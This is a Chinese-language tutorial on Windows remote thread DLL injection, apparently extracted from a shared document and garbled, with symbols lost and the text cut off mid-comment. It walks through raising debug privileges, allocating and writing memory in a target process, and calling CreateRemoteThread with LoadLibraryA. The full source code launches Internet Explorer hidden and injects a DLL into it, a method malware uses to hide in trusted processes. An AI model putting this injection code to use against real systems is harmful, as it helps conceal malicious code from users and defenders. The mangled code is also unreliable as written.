遠(yuǎn)程線程注入

1、主要函數(shù) :CreateRemote Thread()LoadLibreary()Thread()VirtualAllocEx()線程注入基本步驟1. 提升權(quán)限通常為 DEBUG2. 調(diào)用 OpenProcess 函數(shù)打開目標(biāo)進(jìn)程 , 返回進(jìn)程句柄3. 申請空間，寫入要注入的DLL名,返回內(nèi)存空間首地址4. 調(diào)用 GetProcAddress 函數(shù)得到 LoadLibrary 函數(shù)地址5. 調(diào)用 CreateRemoteThread 函數(shù)創(chuàng)建并啟動線程 現(xiàn)在逐個解決首先，提升權(quán)限int EnableDebugPriv(const char * name) /提升進(jìn)程為 DEBUC權(quán)限HANDL

2、E hToken;TOKEN_PRIVILEGES tp;LUID luid;if(!OpenProcessToken(GetCurrentProcess()，TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY， &hToken) )printf(OpenProcessToken errorn);return 1;if(!LookupPrivilegeValue(NULL，name，&luid)printf(LookupPrivilege error!n);tp.PrivilegeCount = 1;tp.Privileges0.Attributes =SE_PRIVILE

3、GE_ENABLED;tp.Privileges0.Luid = luid;if(!AdjustTokenPrivileges(hToken，0，&tp，sizeof(TOKEN_PRIVILEGES)，NULL，NULL) ) printf(AdjustTokenPrivileges error!n);return 1;return 0;該函數(shù)用于提升進(jìn)程為DEBUG權(quán)限，函數(shù)入口為進(jìn)程名2. 接下來 ， 得到進(jìn)程句柄OpenProcess(PROCESS_ALL_ACCESS，F(xiàn)ALSE，dwRemoteProcessId) /取得所有權(quán)3. 現(xiàn)在就開始向系統(tǒng)申請所需內(nèi)存空間 char *

4、pszLibFileRemote;pszLibFileRemote=(char *)VirtualAllocEx( hRemoteProcess,NULL, lstrlen(DllFullPath)+1, MEM_COMMIT, PAGE_READWRITE); if(pszLibFileRemote=NULL)printf(VirtualAllocEx errorn);return FALSE;if(WriteProcessMemory(hRemoteProcess,pszLibFileRemote,(void *)DllFullPath,lstrlen(DllFullPath)+1,NUL

5、L) = 0)printf(WriteProcessMemory errorn);return FALSE;在往后就是得到 LoadLibraryA 函數(shù)地址PTHREAD_START_ROUTINE pfnStartAddr=(PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle(TEXT(Kernel32),LoadLibraryA); if(pfnStartAddr = NULL)printf(GetProcAddress errorn);return FALSE;最后就是啟動線程了呵呵if( (hRemoteThread = Cre

6、ateRemoteThread(hRemoteProcess,NULL,0, pfnStartAddr,pszLibFileRemote,0,NULL)=NULL)printf(CreateRemoteThread errorn);return FALSE;return TRUE;以下是完整源代碼頭文件 :#include #include #include #ifndef FUN_H#define FUN_Hint EnableDebugPriv(const char * name) /提升進(jìn)程為 DEBUC權(quán)限HANDLE hToken;TOKEN_PRIVILEGES tp;LUID l

7、uid;/ 打開進(jìn)程令牌環(huán)if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken) )printf(OpenProcessToken errorn);return 1;/ 獲得進(jìn)程本地唯一 IDif(!LookupPrivilegeValue(NULL,name,&luid)printf(LookupPrivilege error!n);tp.PrivilegeCount = 1;tp.Privileges0.Attributes =SE_PRIVILEGE_ENABLED;tp.

8、Privileges0.Luid = luid;/ 調(diào)整進(jìn)程權(quán)限if(!AdjustTokenPrivileges(hToken,0,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL) ) printf(AdjustTokenPrivileges error!n);return 1;return 0;注入函BOOL InjectDll(const char *DllFullPath, const DWORD dwRemoteProcessId) /數(shù)HANDLE hRemoteProcess;/ 獲得調(diào)試權(quán)限if(EnableDebugPriv(SE_DEBUG_N

9、AME)printf(add privilege error);return FALSE;/ 打開目標(biāo)進(jìn)程if(hRemoteProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwRemoteProcessId)=NULL)printf(OpenProcess errorn);return FALSE;char *pszLibFileRemote;/ 申請存放 dll 文件名的路徑pszLibFileRemote=(char *)VirtualAllocEx( hRemoteProcess,NULL, lstrlen(DllFullPath)+1,MEM

10、_COMMIT, PAGE_READWRITE);if(pszLibFileRemote=NULL)printf(VirtualAllocEx errorn);return FALSE;/ 把 dll 的完整路徑寫入到內(nèi)存，if(WriteProcessMemory(hRemoteProcess,pszLibFileRemote,(void *)DllFullPath,lstrlen(DllFullPath)+1,NULL) = 0)printf(WriteProcessMemory errorn);return FALSE;/ 得到 LoadLibraryA 函數(shù)地址PTHREAD_STAR

11、T_ROUTINE pfnStartAddr=(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT(Kernel32),LoadLibraryA);if(pfnStartAddr = NULL)printf(GetProcAddress errorn);return FALSE;HANDLE hRemoteThread;/ 啟動遠(yuǎn)程線程if( (hRemoteThread = CreateRemoteThread(hRemoteProcess,NULL,0,pfnStartAddr,pszLibFileRemote,0,NULL)

12、=NULL)printf(CreateRemoteThread errorn);return FALSE;return TRUE;DWORD GetProcessID(char *ProcessName) / 獲得進(jìn)程 PIDPROCESSENTRY32 pe32; pe32.dwSize=sizeof(pe32);/ 獲得系統(tǒng)內(nèi)所有進(jìn)程快照HANDLE hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); if(hProcessSnap=INVALID_HANDLE_VALUE) printf(CreateToolhelp3

13、2Snapshot error); return 0;/ 枚舉列表中的第一個進(jìn)程BOOL bProcess=Process32First(hProcessSnap,&pe32); while(bProcess)/ 比較找到的進(jìn)程名和我們要查找的進(jìn)程名，一樣則返回進(jìn)程 id if(strcmp(strupr(pe32.szExeFile),strupr(ProcessName)=0)return pe32.th32ProcessID;/ 繼續(xù)查找 bProcess=Process32Next(hProcessSnap,&pe32);CloseHandle(hProcessSnap);return

14、 0;#endif主函數(shù)文件 :#include fun.hint APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine, int nCmdShow)char Path255;char DllPath255;/ 得到 widnows 系統(tǒng)路徑 GetSystemDirectory(Path,sizeof(Path);/0x00 截斷字符，得到盤符Path3=0x00;/ 得到 IE 帶路徑文件名strcat(Path,Program FilesInternet Exploreriexplore.exe);/ 啟動 IE ，為了防止系統(tǒng)中沒有 IE 進(jìn)程WinExec(Path,SW_HIDE);/ 暫停兩秒，等待 IE 啟動Sleep(2000);/ 得到 IE 進(jìn)程DWORD Pid=GetProcessID(iexplore.exe);/ 得到程序自身路徑GetCurrentDirectory(sizeof(DllPath),DllPath);/ 得到 DLL 帶